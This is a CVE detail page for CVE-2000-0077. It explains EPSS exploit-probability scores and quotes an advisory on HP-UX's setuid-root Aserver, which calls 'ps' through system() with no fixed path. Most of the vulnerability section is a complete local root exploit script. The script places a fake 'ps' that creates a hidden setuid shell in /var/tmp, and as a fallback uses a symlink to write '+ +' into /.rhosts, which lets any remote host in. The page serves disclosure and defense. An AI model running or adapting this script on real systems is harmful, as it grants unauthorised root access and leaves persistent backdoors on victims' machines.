CVE-2000-0077 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# source: https://www.securityfocus.com/bid/1929/info # # Aserver is a server program that ships with HP-UX versions 10.x and above that is used to interface client applications with the audio hardware. Because it talks to hardware, it is installed setuid root by default. # # During normal execution, Aserver executes "ps" via the system() libcall, relying on the PATH environment variable to do so. As a result, a user can modify their PATH environment variable so that it includes an arbitrary program called 'ps' before executing Aserver. When Aserver is run with the -f argument, the offending system() function will be called and the attacker's version of ps will be executed as root. # # This is a trivial root compromise. # #!/bin/sh # # HP-UX aserver.sh - Loneguard 18/10/98 # Simple no brainer path poison followed by a twist [ inspired by DC ;) ] # cd /var/tmp cat < _EOF > ps #!/bin/sh cp /bin/csh /var/tmp/.foosh chmod 4755 /var/tmp/.foosh _EOF chmod 755 ps PATH=.:$PATH /opt/audio/bin/Aserver -f if [ -e /var/tmp/.foosh ] # Hmmm, you not like that technique? cd /tmp rm last_uuid ln -s /.rhosts last_uuid /opt/audio/bin/Aserver -f echo "+ +" > /.rhosts # Haha, my Kungfu is the best! fi echo Crazy MONKEY!
